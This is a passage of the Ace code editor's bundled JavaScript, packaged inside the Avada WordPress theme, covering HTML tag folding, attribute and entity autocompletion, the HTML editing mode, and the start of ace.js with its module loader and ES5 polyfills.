token.value == '/>'; break; } } return tag; } else if (is(token, "tag-close")) { tag.selfClosing = token.value == '/>'; return tag; } tag.start.column += token.value.length; } return null; }; this._findEndTagInLine = function(session, row, tagName, startColumn) { var tokens = session.getTokens(row); var column = 0; for (var i = 0; i < tokens.length; i++) { var token = tokens[i]; column += token.value.length; if (column < startColumn) continue; if (is(token, "end-tag-open")) { token = tokens[i + 1]; if (token && token.value == tagName) return true; } } return false; }; this._readTagForward = function(iterator) { var token = iterator.getCurrentToken(); if (!token) return null; var tag = new Tag(); do { if (is(token, "tag-open")) { tag.closing = is(token, "end-tag-open"); tag.start.row = iterator.getCurrentTokenRow(); tag.start.column = iterator.getCurrentTokenColumn(); } else if (is(token, "tag-name")) { tag.tagName = token.value; } else if (is(token, "tag-close")) { tag.selfClosing = token.value == "/>"; tag.end.row = iterator.getCurrentTokenRow(); tag.end.column = iterator.getCurrentTokenColumn() + token.value.length; iterator.stepForward(); return tag; } } while(token = iterator.stepForward()); return null; }; this._readTagBackward = function(iterator) { var token = iterator.getCurrentToken(); if (!token) return null; var tag = new Tag(); do { if (is(token, "tag-open")) { tag.closing = is(token, "end-tag-open"); tag.start.row = iterator.getCurrentTokenRow(); tag.start.column = iterator.getCurrentTokenColumn(); iterator.stepBackward(); return tag; } else if (is(token, "tag-name")) { tag.tagName = token.value; } else if (is(token, "tag-close")) { tag.selfClosing = token.value == "/>"; tag.end.row = iterator.getCurrentTokenRow(); tag.end.column = iterator.getCurrentTokenColumn() + token.value.length; } } while(token = iterator.stepBackward()); return null; }; this._pop = function(stack, tag) { while (stack.length) { var top = stack[stack.length-1]; if (!tag || top.tagName == tag.tagName) { return stack.pop(); } else if (this.optionalEndTags.hasOwnProperty(top.tagName)) { stack.pop(); continue; } else { return null; } } }; this.getFoldWidgetRange = function(session, foldStyle, row) { var firstTag = this._getFirstTagInLine(session, row); if (!firstTag) return null; var isBackward = firstTag.closing || firstTag.selfClosing; var stack = []; var tag; if (!isBackward) { var iterator = new TokenIterator(session, row, firstTag.start.column); var start = { row: row, column: firstTag.start.column + firstTag.tagName.length + 2 }; if (firstTag.start.row == firstTag.end.row) start.column = firstTag.end.column; while (tag = this._readTagForward(iterator)) { if (tag.selfClosing) { if (!stack.length) { tag.start.column += tag.tagName.length + 2; tag.end.column -= 2; return Range.fromPoints(tag.start, tag.end); } else continue; } if (tag.closing) { this._pop(stack, tag); if (stack.length == 0) return Range.fromPoints(start, tag.start); } else { stack.push(tag); } } } else { var iterator = new TokenIterator(session, row, firstTag.end.column); var end = { row: row, column: firstTag.start.column }; while (tag = this._readTagBackward(iterator)) { if (tag.selfClosing) { if (!stack.length) { tag.start.column += tag.tagName.length + 2; tag.end.column -= 2; return Range.fromPoints(tag.start, tag.end); } else continue; } if (!tag.closing) { this._pop(stack, tag); if (stack.length == 0) { tag.start.column += tag.tagName.length + 2; if (tag.start.row == tag.end.row && tag.start.column < tag.end.column) tag.start.column = tag.end.column; return Range.fromPoints(tag.start, end); } } else { stack.push(tag); } } } }; }).call(FoldMode.prototype); }); ace.define("ace/mode/folding/html",["require","exports","module","ace/lib/oop","ace/mode/folding/mixed","ace/mode/folding/xml","ace/mode/folding/cstyle"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var MixedFoldMode = require("./mixed").FoldMode; var XmlFoldMode = require("./xml").FoldMode; var CStyleFoldMode = require("./cstyle").FoldMode; var FoldMode = exports.FoldMode = function(voidElements, optionalTags) { MixedFoldMode.call(this, new XmlFoldMode(voidElements, optionalTags), { "js-": new CStyleFoldMode(), "css-": new CStyleFoldMode() }); }; oop.inherits(FoldMode, MixedFoldMode); }); ace.define("ace/mode/html_completions",["require","exports","module","ace/token_iterator"], function(require, exports, module) { "use strict"; var TokenIterator = require("../token_iterator").TokenIterator; var commonAttributes = [ "accesskey", "class", "contenteditable", "contextmenu", "dir", "draggable", "dropzone", "hidden", "id", "inert", "itemid", "itemprop", "itemref", "itemscope", "itemtype", "lang", "spellcheck", "style", "tabindex", "title", "translate" ]; var eventAttributes = [ "onabort", "onblur", "oncancel", "oncanplay", "oncanplaythrough", "onchange", "onclick", "onclose", "oncontextmenu", "oncuechange", "ondblclick", "ondrag", "ondragend", "ondragenter", "ondragleave", "ondragover", "ondragstart", "ondrop", "ondurationchange", "onemptied", "onended", "onerror", "onfocus", "oninput", "oninvalid", "onkeydown", "onkeypress", "onkeyup", "onload", "onloadeddata", "onloadedmetadata", "onloadstart", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onmousewheel", "onpause", "onplay", "onplaying", "onprogress", "onratechange", "onreset", "onscroll", "onseeked", "onseeking", "onselect", "onshow", "onstalled", "onsubmit", "onsuspend", "ontimeupdate", "onvolumechange", "onwaiting" ]; var globalAttributes = commonAttributes.concat(eventAttributes); var attributeMap = { "html": {"manifest": 1}, "head": {}, "title": {}, "base": {"href": 1, "target": 1}, "link": {"href": 1, "hreflang": 1, "rel": {"stylesheet": 1, "icon": 1}, "media": {"all": 1, "screen": 1, "print": 1}, "type": {"text/css": 1, "image/png": 1, "image/jpeg": 1, "image/gif": 1}, "sizes": 1}, "meta": {"http-equiv": {"content-type": 1}, "name": {"description": 1, "keywords": 1}, "content": {"text/html; charset=UTF-8": 1}, "charset": 1}, "style": {"type": 1, "media": {"all": 1, "screen": 1, "print": 1}, "scoped": 1}, "script": {"charset": 1, "type": {"text/javascript": 1}, "src": 1, "defer": 1, "async": 1}, "noscript": {"href": 1}, "body": {"onafterprint": 1, "onbeforeprint": 1, "onbeforeunload": 1, "onhashchange": 1, "onmessage": 1, "onoffline": 1, "onpopstate": 1, "onredo": 1, "onresize": 1, "onstorage": 1, "onundo": 1, "onunload": 1}, "section": {}, "nav": {}, "article": {"pubdate": 1}, "aside": {}, "h1": {}, "h2": {}, "h3": {}, "h4": {}, "h5": {}, "h6": {}, "header": {}, "footer": {}, "address": {}, "main": {}, "p": {}, "hr": {}, "pre": {}, "blockquote": {"cite": 1}, "ol": {"start": 1, "reversed": 1}, "ul": {}, "li": {"value": 1}, "dl": {}, "dt": {}, "dd": {}, "figure": {}, "figcaption": {}, "div": {}, "a": {"href": 1, "target": {"_blank": 1, "top": 1}, "ping": 1, "rel": {"nofollow": 1, "alternate": 1, "author": 1, "bookmark": 1, "help": 1, "license": 1, "next": 1, "noreferrer": 1, "prefetch": 1, "prev": 1, "search": 1, "tag": 1}, "media": 1, "hreflang": 1, "type": 1}, "em": {}, "strong": {}, "small": {}, "s": {}, "cite": {}, "q": {"cite": 1}, "dfn": {}, "abbr": {}, "data": {}, "time": {"datetime": 1}, "code": {}, "var": {}, "samp": {}, "kbd": {}, "sub": {}, "sup": {}, "i": {}, "b": {}, "u": {}, "mark": {}, "ruby": {}, "rt": {}, "rp": {}, "bdi": {}, "bdo": {}, "span": {}, "br": {}, "wbr": {}, "ins": {"cite": 1, "datetime": 1}, "del": {"cite": 1, "datetime": 1}, "img": {"alt": 1, "src": 1, "height": 1, "width": 1, "usemap": 1, "ismap": 1}, "iframe": {"name": 1, "src": 1, "height": 1, "width": 1, "sandbox": {"allow-same-origin": 1, "allow-top-navigation": 1, "allow-forms": 1, "allow-scripts": 1}, "seamless": {"seamless": 1}}, "embed": {"src": 1, "height": 1, "width": 1, "type": 1}, "object": {"param": 1, "data": 1, "type": 1, "height" : 1, "width": 1, "usemap": 1, "name": 1, "form": 1, "classid": 1}, "param": {"name": 1, "value": 1}, "video": {"src": 1, "autobuffer": 1, "autoplay": {"autoplay": 1}, "loop": {"loop": 1}, "controls": {"controls": 1}, "width": 1, "height": 1, "poster": 1, "muted": {"muted": 1}, "preload": {"auto": 1, "metadata": 1, "none": 1}}, "audio": {"src": 1, "autobuffer": 1, "autoplay": {"autoplay": 1}, "loop": {"loop": 1}, "controls": {"controls": 1}, "muted": {"muted": 1}, "preload": {"auto": 1, "metadata": 1, "none": 1 }}, "source": {"src": 1, "type": 1, "media": 1}, "track": {"kind": 1, "src": 1, "srclang": 1, "label": 1, "default": 1}, "canvas": {"width": 1, "height": 1}, "map": {"name": 1}, "area": {"shape": 1, "coords": 1, "href": 1, "hreflang": 1, "alt": 1, "target": 1, "media": 1, "rel": 1, "ping": 1, "type": 1}, "svg": {}, "math": {}, "table": {"summary": 1}, "caption": {}, "colgroup": {"span": 1}, "col": {"span": 1}, "tbody": {}, "thead": {}, "tfoot": {}, "tr": {}, "td": {"headers": 1, "rowspan": 1, "colspan": 1}, "th": {"headers": 1, "rowspan": 1, "colspan": 1, "scope": 1}, "form": {"accept-charset": 1, "action": 1, "autocomplete": 1, "enctype": {"multipart/form-data": 1, "application/x-www-form-urlencoded": 1}, "method": {"get": 1, "post": 1}, "name": 1, "novalidate": 1, "target": {"_blank": 1, "top": 1}}, "fieldset": {"disabled": 1, "form": 1, "name": 1}, "legend": {}, "label": {"form": 1, "for": 1}, "input": { "type": {"text": 1, "password": 1, "hidden": 1, "checkbox": 1, "submit": 1, "radio": 1, "file": 1, "button": 1, "reset": 1, "image": 31, "color": 1, "date": 1, "datetime": 1, "datetime-local": 1, "email": 1, "month": 1, "number": 1, "range": 1, "search": 1, "tel": 1, "time": 1, "url": 1, "week": 1}, "accept": 1, "alt": 1, "autocomplete": {"on": 1, "off": 1}, "autofocus": {"autofocus": 1}, "checked": {"checked": 1}, "disabled": {"disabled": 1}, "form": 1, "formaction": 1, "formenctype": {"application/x-www-form-urlencoded": 1, "multipart/form-data": 1, "text/plain": 1}, "formmethod": {"get": 1, "post": 1}, "formnovalidate": {"formnovalidate": 1}, "formtarget": {"_blank": 1, "_self": 1, "_parent": 1, "_top": 1}, "height": 1, "list": 1, "max": 1, "maxlength": 1, "min": 1, "multiple": {"multiple": 1}, "name": 1, "pattern": 1, "placeholder": 1, "readonly": {"readonly": 1}, "required": {"required": 1}, "size": 1, "src": 1, "step": 1, "width": 1, "files": 1, "value": 1}, "button": {"autofocus": 1, "disabled": {"disabled": 1}, "form": 1, "formaction": 1, "formenctype": 1, "formmethod": 1, "formnovalidate": 1, "formtarget": 1, "name": 1, "value": 1, "type": {"button": 1, "submit": 1}}, "select": {"autofocus": 1, "disabled": 1, "form": 1, "multiple": {"multiple": 1}, "name": 1, "size": 1, "readonly":{"readonly": 1}}, "datalist": {}, "optgroup": {"disabled": 1, "label": 1}, "option": {"disabled": 1, "selected": 1, "label": 1, "value": 1}, "textarea": {"autofocus": {"autofocus": 1}, "disabled": {"disabled": 1}, "form": 1, "maxlength": 1, "name": 1, "placeholder": 1, "readonly": {"readonly": 1}, "required": {"required": 1}, "rows": 1, "cols": 1, "wrap": {"on": 1, "off": 1, "hard": 1, "soft": 1}}, "keygen": {"autofocus": 1, "challenge": {"challenge": 1}, "disabled": {"disabled": 1}, "form": 1, "keytype": {"rsa": 1, "dsa": 1, "ec": 1}, "name": 1}, "output": {"for": 1, "form": 1, "name": 1}, "progress": {"value": 1, "max": 1}, "meter": {"value": 1, "min": 1, "max": 1, "low": 1, "high": 1, "optimum": 1}, "details": {"open": 1}, "summary": {}, "command": {"type": 1, "label": 1, "icon": 1, "disabled": 1, "checked": 1, "radiogroup": 1, "command": 1}, "menu": {"type": 1, "label": 1}, "dialog": {"open": 1} }; var elements = Object.keys(attributeMap); function is(token, type) { return token.type.lastIndexOf(type + ".xml") > -1; } function findTagName(session, pos) { var iterator = new TokenIterator(session, pos.row, pos.column); var token = iterator.getCurrentToken(); while (token && !is(token, "tag-name")){ token = iterator.stepBackward(); } if (token) return token.value; } function findAttributeName(session, pos) { var iterator = new TokenIterator(session, pos.row, pos.column); var token = iterator.getCurrentToken(); while (token && !is(token, "attribute-name")){ token = iterator.stepBackward(); } if (token) return token.value; } var HtmlCompletions = function() { }; (function() { this.getCompletions = function(state, session, pos, prefix) { var token = session.getTokenAt(pos.row, pos.column); if (!token) return []; if (is(token, "tag-name") || is(token, "tag-open") || is(token, "end-tag-open")) return this.getTagCompletions(state, session, pos, prefix); if (is(token, "tag-whitespace") || is(token, "attribute-name")) return this.getAttributeCompletions(state, session, pos, prefix); if (is(token, "attribute-value")) return this.getAttributeValueCompletions(state, session, pos, prefix); var line = session.getLine(pos.row).substr(0, pos.column); if (/&[A-z]*$/i.test(line)) return this.getHTMLEntityCompletions(state, session, pos, prefix); return []; }; this.getTagCompletions = function(state, session, pos, prefix) { return elements.map(function(element){ return { value: element, meta: "tag", score: Number.MAX_VALUE }; }); }; this.getAttributeCompletions = function(state, session, pos, prefix) { var tagName = findTagName(session, pos); if (!tagName) return []; var attributes = globalAttributes; if (tagName in attributeMap) { attributes = attributes.concat(Object.keys(attributeMap[tagName])); } return attributes.map(function(attribute){ return { caption: attribute, snippet: attribute + '="$0"', meta: "attribute", score: Number.MAX_VALUE }; }); }; this.getAttributeValueCompletions = function(state, session, pos, prefix) { var tagName = findTagName(session, pos); var attributeName = findAttributeName(session, pos); if (!tagName) return []; var values = []; if (tagName in attributeMap && attributeName in attributeMap[tagName] && typeof attributeMap[tagName][attributeName] === "object") { values = Object.keys(attributeMap[tagName][attributeName]); } return values.map(function(value){ return { caption: value, snippet: value, meta: "attribute value", score: Number.MAX_VALUE }; }); }; this.getHTMLEntityCompletions = function(state, session, pos, prefix) { var values = ['Aacute;', 'aacute;', 'Acirc;', 'acirc;', 'acute;', 'AElig;', 'aelig;', 'Agrave;', 'agrave;', 'alefsym;', 'Alpha;', 'alpha;', 'amp;', 'and;', 'ang;', 'Aring;', 'aring;', 'asymp;', 'Atilde;', 'atilde;', 'Auml;', 'auml;', 'bdquo;', 'Beta;', 'beta;', 'brvbar;', 'bull;', 'cap;', 'Ccedil;', 'ccedil;', 'cedil;', 'cent;', 'Chi;', 'chi;', 'circ;', 'clubs;', 'cong;', 'copy;', 'crarr;', 'cup;', 'curren;', 'Dagger;', 'dagger;', 'dArr;', 'darr;', 'deg;', 'Delta;', 'delta;', 'diams;', 'divide;', 'Eacute;', 'eacute;', 'Ecirc;', 'ecirc;', 'Egrave;', 'egrave;', 'empty;', 'emsp;', 'ensp;', 'Epsilon;', 'epsilon;', 'equiv;', 'Eta;', 'eta;', 'ETH;', 'eth;', 'Euml;', 'euml;', 'euro;', 'exist;', 'fnof;', 'forall;', 'frac12;', 'frac14;', 'frac34;', 'frasl;', 'Gamma;', 'gamma;', 'ge;', 'gt;', 'hArr;', 'harr;', 'hearts;', 'hellip;', 'Iacute;', 'iacute;', 'Icirc;', 'icirc;', 'iexcl;', 'Igrave;', 'igrave;', 'image;', 'infin;', 'int;', 'Iota;', 'iota;', 'iquest;', 'isin;', 'Iuml;', 'iuml;', 'Kappa;', 'kappa;', 'Lambda;', 'lambda;', 'lang;', 'laquo;', 'lArr;', 'larr;', 'lceil;', 'ldquo;', 'le;', 'lfloor;', 'lowast;', 'loz;', 'lrm;', 'lsaquo;', 'lsquo;', 'lt;', 'macr;', 'mdash;', 'micro;', 'middot;', 'minus;', 'Mu;', 'mu;', 'nabla;', 'nbsp;', 'ndash;', 'ne;', 'ni;', 'not;', 'notin;', 'nsub;', 'Ntilde;', 'ntilde;', 'Nu;', 'nu;', 'Oacute;', 'oacute;', 'Ocirc;', 'ocirc;', 'OElig;', 'oelig;', 'Ograve;', 'ograve;', 'oline;', 'Omega;', 'omega;', 'Omicron;', 'omicron;', 'oplus;', 'or;', 'ordf;', 'ordm;', 'Oslash;', 'oslash;', 'Otilde;', 'otilde;', 'otimes;', 'Ouml;', 'ouml;', 'para;', 'part;', 'permil;', 'perp;', 'Phi;', 'phi;', 'Pi;', 'pi;', 'piv;', 'plusmn;', 'pound;', 'Prime;', 'prime;', 'prod;', 'prop;', 'Psi;', 'psi;', 'quot;', 'radic;', 'rang;', 'raquo;', 'rArr;', 'rarr;', 'rceil;', 'rdquo;', 'real;', 'reg;', 'rfloor;', 'Rho;', 'rho;', 'rlm;', 'rsaquo;', 'rsquo;', 'sbquo;', 'Scaron;', 'scaron;', 'sdot;', 'sect;', 'shy;', 'Sigma;', 'sigma;', 'sigmaf;', 'sim;', 'spades;', 'sub;', 'sube;', 'sum;', 'sup;', 'sup1;', 'sup2;', 'sup3;', 'supe;', 'szlig;', 'Tau;', 'tau;', 'there4;', 'Theta;', 'theta;', 'thetasym;', 'thinsp;', 'THORN;', 'thorn;', 'tilde;', 'times;', 'trade;', 'Uacute;', 'uacute;', 'uArr;', 'uarr;', 'Ucirc;', 'ucirc;', 'Ugrave;', 'ugrave;', 'uml;', 'upsih;', 'Upsilon;', 'upsilon;', 'Uuml;', 'uuml;', 'weierp;', 'Xi;', 'xi;', 'Yacute;', 'yacute;', 'yen;', 'Yuml;', 'yuml;', 'Zeta;', 'zeta;', 'zwj;', 'zwnj;']; return values.map(function(value){ return { caption: value, snippet: value, meta: "html entity", score: Number.MAX_VALUE }; }); }; }).call(HtmlCompletions.prototype); exports.HtmlCompletions = HtmlCompletions; }); ace.define("ace/mode/html",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text","ace/mode/javascript","ace/mode/css","ace/mode/html_highlight_rules","ace/mode/behaviour/xml","ace/mode/folding/html","ace/mode/html_completions","ace/worker/worker_client"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var lang = require("../lib/lang"); var TextMode = require("./text").Mode; var JavaScriptMode = require("./javascript").Mode; var CssMode = require("./css").Mode; var HtmlHighlightRules = require("./html_highlight_rules").HtmlHighlightRules; var XmlBehaviour = require("./behaviour/xml").XmlBehaviour; var HtmlFoldMode = require("./folding/html").FoldMode; var HtmlCompletions = require("./html_completions").HtmlCompletions; var WorkerClient = require("../worker/worker_client").WorkerClient; var voidElements = ["area", "base", "br", "col", "embed", "hr", "img", "input", "keygen", "link", "meta", "menuitem", "param", "source", "track", "wbr"]; var optionalEndTags = ["li", "dt", "dd", "p", "rt", "rp", "optgroup", "option", "colgroup", "td", "th"]; var Mode = function(options) { this.fragmentContext = options && options.fragmentContext; this.HighlightRules = HtmlHighlightRules; this.$behaviour = new XmlBehaviour(); this.$completer = new HtmlCompletions(); this.createModeDelegates({ "js-": JavaScriptMode, "css-": CssMode }); this.foldingRules = new HtmlFoldMode(this.voidElements, lang.arrayToMap(optionalEndTags)); }; oop.inherits(Mode, TextMode); (function() { this.blockComment = {start: ""}; this.voidElements = lang.arrayToMap(voidElements); this.getNextLineIndent = function(state, line, tab) { return this.$getIndent(line); }; this.checkOutdent = function(state, line, input) { return false; }; this.getCompletions = function(state, session, pos, prefix) { return this.$completer.getCompletions(state, session, pos, prefix); }; this.createWorker = function(session) { if (this.constructor != Mode) return; var worker = new WorkerClient(["ace"], "ace/mode/html_worker", "Worker"); worker.attachToDocument(session.getDocument()); if (this.fragmentContext) worker.call("setOptions", [{context: this.fragmentContext}]); worker.on("error", function(e) { session.setAnnotations(e.data); }); worker.on("terminate", function() { session.clearAnnotations(); }); return worker; }; this.$id = "ace/mode/html"; }).call(Mode.prototype); exports.Mode = Mode; }); Avada/includes/lib/inc/redux/custom-fields/ace_editor/ace.js000064400002354247152342437700020026 0ustar00/* ***** BEGIN LICENSE BLOCK ***** * Distributed under the BSD license: * * Copyright (c) 2010, Ajax.org B.V. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Ajax.org B.V. nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL AJAX.ORG B.V. BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * ***** END LICENSE BLOCK ***** */ /** * Define a module along with a payload * @param module a name for the payload * @param payload a function to call with (require, exports, module) params */ (function() { var ACE_NAMESPACE = "ace"; var global = (function() { return this; })(); if (!global && typeof window != "undefined") global = window; // strict mode if (!ACE_NAMESPACE && typeof requirejs !== "undefined") return; var define = function(module, deps, payload) { if (typeof module !== "string") { if (define.original) define.original.apply(this, arguments); else { console.error("dropping module because define wasn\'t a string."); console.trace(); } return; } if (arguments.length == 2) payload = deps; if (!define.modules[module]) { define.payloads[module] = payload; define.modules[module] = null; } }; define.modules = {}; define.payloads = {}; /** * Get at functionality define()ed using the function above */ var _require = function(parentId, module, callback) { if (typeof module === "string") { var payload = lookup(parentId, module); if (payload != undefined) { callback && callback(); return payload; } } else if (Object.prototype.toString.call(module) === "[object Array]") { var params = []; for (var i = 0, l = module.length; i < l; ++i) { var dep = lookup(parentId, module[i]); if (dep == undefined && require.original) return; params.push(dep); } return callback && callback.apply(null, params) || true; } }; var require = function(module, callback) { var packagedModule = _require("", module, callback); if (packagedModule == undefined && require.original) return require.original.apply(this, arguments); return packagedModule; }; var normalizeModule = function(parentId, moduleName) { // normalize plugin requires if (moduleName.indexOf("!") !== -1) { var chunks = moduleName.split("!"); return normalizeModule(parentId, chunks[0]) + "!" + normalizeModule(parentId, chunks[1]); } // normalize relative requires if (moduleName.charAt(0) == ".") { var base = parentId.split("/").slice(0, -1).join("/"); moduleName = base + "/" + moduleName; while(moduleName.indexOf(".") !== -1 && previous != moduleName) { var previous = moduleName; moduleName = moduleName.replace(/\/\.\//, "/").replace(/[^\/]+\/\.\.\//, ""); } } return moduleName; }; /** * Internal function to lookup moduleNames and resolve them by calling the * definition function if needed. */ var lookup = function(parentId, moduleName) { moduleName = normalizeModule(parentId, moduleName); var module = define.modules[moduleName]; if (!module) { module = define.payloads[moduleName]; if (typeof module === 'function') { var exports = {}; var mod = { id: moduleName, uri: '', exports: exports, packaged: true }; var req = function(module, callback) { return _require(moduleName, module, callback); }; var returnValue = module(req, exports, mod); exports = returnValue || mod.exports; define.modules[moduleName] = exports; delete define.payloads[moduleName]; } module = define.modules[moduleName] = exports || module; } return module; }; function exportAce(ns) { var root = global; if (ns) { if (!global[ns]) global[ns] = {}; root = global[ns]; } if (!root.define || !root.define.packaged) { define.original = root.define; root.define = define; root.define.packaged = true; } if (!root.require || !root.require.packaged) { require.original = root.require; root.require = require; root.require.packaged = true; } } exportAce(ACE_NAMESPACE); })(); ace.define("ace/lib/regexp",["require","exports","module"], function(require, exports, module) { "use strict"; var real = { exec: RegExp.prototype.exec, test: RegExp.prototype.test, match: String.prototype.match, replace: String.prototype.replace, split: String.prototype.split }, compliantExecNpcg = real.exec.call(/()??/, "")[1] === undefined, // check `exec` handling of nonparticipating capturing groups compliantLastIndexIncrement = function () { var x = /^/g; real.test.call(x, ""); return !x.lastIndex; }(); if (compliantLastIndexIncrement && compliantExecNpcg) return; RegExp.prototype.exec = function (str) { var match = real.exec.apply(this, arguments), name, r2; if ( typeof(str) == 'string' && match) { if (!compliantExecNpcg && match.length > 1 && indexOf(match, "") > -1) { r2 = RegExp(this.source, real.replace.call(getNativeFlags(this), "g", "")); real.replace.call(str.slice(match.index), r2, function () { for (var i = 1; i < arguments.length - 2; i++) { if (arguments[i] === undefined) match[i] = undefined; } }); } if (this._xregexp && this._xregexp.captureNames) { for (var i = 1; i < match.length; i++) { name = this._xregexp.captureNames[i - 1]; if (name) match[name] = match[i]; } } if (!compliantLastIndexIncrement && this.global && !match[0].length && (this.lastIndex > match.index)) this.lastIndex--; } return match; }; if (!compliantLastIndexIncrement) { RegExp.prototype.test = function (str) { var match = real.exec.call(this, str); if (match && this.global && !match[0].length && (this.lastIndex > match.index)) this.lastIndex--; return !!match; }; } function getNativeFlags (regex) { return (regex.global ? "g" : "") + (regex.ignoreCase ? "i" : "") + (regex.multiline ? "m" : "") + (regex.extended ? "x" : "") + // Proposed for ES4; included in AS3 (regex.sticky ? "y" : ""); } function indexOf (array, item, from) { if (Array.prototype.indexOf) // Use the native array method if available return array.indexOf(item, from); for (var i = from || 0; i < array.length; i++) { if (array[i] === item) return i; } return -1; } }); ace.define("ace/lib/es5-shim",["require","exports","module"], function(require, exports, module) { function Empty() {} if (!Function.prototype.bind) { Function.prototype.bind = function bind(that) { // .length is 1 var target = this; if (typeof target != "function") { throw new TypeError("Function.prototype.bind called on incompatible " + target); } var args = slice.call(arguments, 1); // for normal call var bound = function () { if (this instanceof bound) { var result = target.apply( this, args.concat(slice.call(arguments)) ); if (Object(result) === result) { return result; } return this; } else { return target.apply( that, args.concat(slice.call(arguments)) ); } }; if(target.prototype) { Empty.prototype = target.prototype; bound.prototype = new Empty(); Empty.prototype = null; } return bound; }; } var call = Function.prototype.call; var prototypeOfArray = Array.prototype; var prototypeOfObject = Object.prototype; var slice = prototypeOfArray.slice; var _toString = call.bind(prototypeOfObject.toString); var owns = call.bind(prototypeOfObject.hasOwnProperty); var defineGetter; var defineSetter; var lookupGetter; var lookupSetter; var supportsAccessors; if ((supportsAccessors = owns(prototypeOfObject, "__defineGetter__"))) { defineGetter = call.bind(prototypeOfObject.__defineGetter__); defineSetter = call.bind(prototypeOfObject.__defineSetter__); lookupGetter = call.bind(prototypeOfObject.__lookupGetter__); lookupSetter = call.bind(prototypeOfObject.__lookupSetter__); } if ([1,2].splice(0).length != 2) { if(function() { // test IE < 9 to splice bug - see issue #138 function makeArray(l) { var a = new Array(l+2); a[0] = a[1] = 0; return a; } var array = [], lengthBefore; array.splice.apply(array, makeArray(20)); array.splice.apply(array, makeArray(26)); lengthBefore = array.length; //46 array.splice(5, 0, "XXX"); // add one element lengthBefore + 1 == array.length if (lengthBefore + 1 == array.length) { return true;// has right splice implementation without bugs } }()) {//IE 6/7 var array_splice = Array.prototype.splice; Array.prototype.splice = function(start, deleteCount) { if (!arguments.length) { return []; } else { return array_splice.apply(this, [ start === void 0 ? 0 : start, deleteCount === void 0 ? (this.length - start) : deleteCount ].concat(slice.call(arguments, 2))) } }; } else {//IE8 Array.prototype.splice = function(pos, removeCount){ var length = this.length; if (pos > 0) { if (pos > length) pos = length; } else if (pos == void 0) { pos = 0; } else if (pos < 0) { pos = Math.max(length + pos, 0); } if (!(pos+removeCount < length)) removeCount = length - pos; var removed = this.slice(pos, pos+removeCount); var insert = slice.call(arguments, 2); var add = insert.length; if (pos === length) { if (add) { this.push.apply(this, insert); } } else { var remove = Math.min(removeCount, length - pos); var tailOldPos = pos + remove; var tailNewPos = tailOldPos + add - remove; var tailCount = length - tailOldPos; var lengthAfterRemove = length - remove; if (tailNewPos < tailOldPos) { // case A for (var i = 0; i < tailCount; ++i) { this[tailNewPos+i] = this[tailOldPos+i]; } } else if (tailNewPos > tailOldPos) { // case B for (i = tailCount; i--; ) { this[tailNewPos+i] = this[tailOldPos+i]; } } // else, add == remove (nothing to do) if (add && pos === lengthAfterRemove) { this.length = lengthAfterRemove; // truncate array this.push.apply(this, insert); } else { this.length = lengthAfterRemove + add; // reserves space for (i = 0; i < add; ++i) { this[pos+i] = insert[i]; } } } return removed; }; } } if (!Array.isArray) { Array.isArray = function isArray(obj) { return _toString(obj) == "[object Array]"; }; } var boxedString = Object("a"), splitString = boxedString[0] != "a" || !(0 in boxedString); if (!Array.prototype.forEach) { Array.prototype.forEach = function forEach(fun /*, thisp*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, thisp = arguments[1], i = -1, length = self.length >>> 0; if (_toString(fun) != "[object Function]") { throw new TypeError(); // TODO message } while (++i < length) { if (i in self) { fun.call(thisp, self[i], i, object); } } }; } if (!Array.prototype.map) { Array.prototype.map = function map(fun /*, thisp*/) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, result = Array(length), thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self) result[i] = fun.call(thisp, self[i], i, object); } return result; }; } if (!Array.prototype.filter) { Array.prototype.filter = function filter(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, result = [], value, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self) { value = self[i]; if (fun.call(thisp, value, i, object)) { result.push(value); } } } return result; }; } if (!Array.prototype.every) { Array.prototype.every = function every(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self && !fun.call(thisp, self[i], i, object)) { return false; } } return true; }; } if (!Array.prototype.some) { Array.prototype.some = function some(fun /*, thisp */) { var object = toObject(this), self = splitString && _toString(this) == "[object String]" ? this.split("") : object, length = self.length >>> 0, thisp = arguments[1]; if (_toString(fun) != "[object Function]") { throw new TypeError(fun + " is not a function"); } for (var i = 0; i < length; i++) { if (i in self && fun.call(thisp, self[i], i, object)) { return true; } } return false; }; } if (!Array.prototype.reduce) { Array.prototype.reduce = function reduce(fun /*, 